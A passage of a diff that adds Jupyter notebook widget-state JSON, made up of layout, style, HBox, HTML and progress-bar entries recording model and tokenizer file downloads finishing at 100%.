"_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e404d2f75cdc4a9397c82bca53ca3fad": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e4394ac60eef460e8f37fac24327ab77": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_51b27a7dc0d34dd09b1ea17aba1fb697", + "placeholder": "​", + "style": "IPY_MODEL_2a8c5504fb034f608567f8d706389d79", + "value": " 13/13 [00:23<00:00, 2.51s/it]" + } + }, + "e43b78d4e4844565ad39e979861285a8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0e38cf52fb3d40d5a87ec975499ef648", + "max": 8756, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a37c136cb6c34c1ea5a66bd78c5750ae", + "value": 8756 + } + }, + "e503940faf1e47bb911a62c6e5f33fa0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e57b840c4d3c4abcae1b69b189701c72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e59d5e76445943c39cdb32721727d3e8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e69330feb37747c5b22d4dd215f934bd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cb4c90617e8e4ef08052ade1d2694589", + "placeholder": "​", + "style": "IPY_MODEL_6ca7d8cb9ad2472bad727eba7c993816", + "value": " 541/541 [00:00<00:00, 9.29kB/s]" + } + }, + "e7a84d718566443bba6c79729de0518a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_81b870c0f0b6482a9f1dbd3fac0d935c", + "placeholder": "​", + "style": "IPY_MODEL_ff464c023f0546209b15c44a39b4b75e", + "value": "Downloading model.safetensors: 100%" + } + }, + "e7ddc52526db41e4907a2ede8dcef7c7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e8cbb2d5adae4b439639631ea833be72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e90005c8a5664c6f80e37268666f1a9f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e9ef39e82cf645e396daea04a1e178f1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_02f92b3266a54cc1885140f1a378d784", + "max": 153718792, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_d504edae2a2f4beb851928ca770b2701", + "value": 153718792 + } + }, + "ea6ed2a4fd9c49579f25b2f0e9af3f3c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3cdb72138ffe4261a6cfcd9bcf4776c4", + "max": 743, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3bdc5d0f6e324afaae6d5a4aabff98d2", + "value": 743 + } + }, + "ea8e9b50f98c43b58d7faccbfd6821cb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "eb5ef899d10b442ca8bd3ec6c1fbf1f3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b6f79be711a94896ba08b0af7293cd04", + "IPY_MODEL_f2ec0ba35adb4084b2ef73e4d384f6fd", + "IPY_MODEL_5b6fcc006e8b47c4a416e38991201a42" + ], + "layout": "IPY_MODEL_635b3c726b5049818d8384ad992e2550" + } + }, + "eb72384f0e50444d9db03c12aca4b899": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "eba07e4598814b6cb22ba58d16587cf3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ab44913ac7c44a0f89a963fddf9dba39", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c9678e8106544428a9f155e2da9f2693", + "value": 920 + } + }, + "ebe0534f9b4c4f92ae488a8d3e5867d6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e7a84d718566443bba6c79729de0518a", + "IPY_MODEL_8cec2e55fc3542789938c24adb050ca9", + "IPY_MODEL_5248a6e5d8044c53803426afaf2439af" + ], + "layout": "IPY_MODEL_10ae3f8453744a7e9737a9a0914dfeab" + } + }, + "ec7bdbec2fc342f38039b8420a162a25": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ec96bfae8c9c48e5827755ce0e8a885f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ecc46cbc78fe4d9f8af50970839d3891": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ed79049f4f3a41899ce7744c6733bf27": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "edaf046faeb8459bbe937cae180bfc4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8cb0f3ae820947a5984dd422b33776dd", + "IPY_MODEL_ea6ed2a4fd9c49579f25b2f0e9af3f3c", + "IPY_MODEL_41b442152042436ea0703d3c1181824d" + ], + "layout": "IPY_MODEL_f3af911e563d47eca89517bdc434c911" + } + }, + "ede9d9c5d44146849e44c3b1476299eb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d8424b9018444e088fe5908db8a9db12", + "IPY_MODEL_f00bbbb986ed49e79560422ba4c379c8", + "IPY_MODEL_108208309c4b47aa8eee3a1321fc81ed" + ], + "layout": "IPY_MODEL_d0c00b0f105741f9a155e941dd5d704f" + } + }, + "ee7d2281e6964da8a3e610343a7de76d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee848051813f401c958c169f8b77a323": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ee9448f0b9964d8fad850501e08e3c84": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_93df8bff634740a29f3820042d69347f", + "placeholder": "​", + "style": "IPY_MODEL_373d310d37454a409b53c30e7d7d1de5", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "ef977ff25ba842c9a0475befc7b47b89": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f00bbbb986ed49e79560422ba4c379c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2a8de4ddaf4747ceb0a153851cd765ca", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c3e33bee752849c692d00ceabd561feb", + "value": 524619 + } + }, + "f02818f8f3d54f72961c51e8fe526dc2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f05ad5aa13a040609336f0d6b2580be2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f0a064bb91524f01972e941a3bd7354d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f0ddc614bd9a40468c083db3a457e1c1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a27de7fc1bfa486f9ff8829d4d4198f6", + "IPY_MODEL_47507d2cf4e04f2f927ee369c6d7b4d4", + "IPY_MODEL_e11151541738459ba16b582a9edefd2c" + ], + "layout": "IPY_MODEL_33c23b5b6adf403dba45e9f8e64e37dc" + } + }, + "f16aa25f9d2b49cc87cde26cf7dc316f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f17e8c0187db4242af4a803aed44fde9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f18d3449a23c485a85e38f0ced810c99": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f1a22eae63cb4eb982a02ccd11422014": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f1e983f41294422087b5be9a9df11fa3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f1f865efa3a6448ea9c930a1f08c50bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f2241131e8d54c1f9e8976b94b46bc67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f2ec0ba35adb4084b2ef73e4d384f6fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9ef7b0ea4e4e46b18953056deaa6cf95", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_2d76832bc7834ef6b683ef6829f83861", + "value": 13 + } + }, + "f357992a28754d7689721ebda28f0b0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, 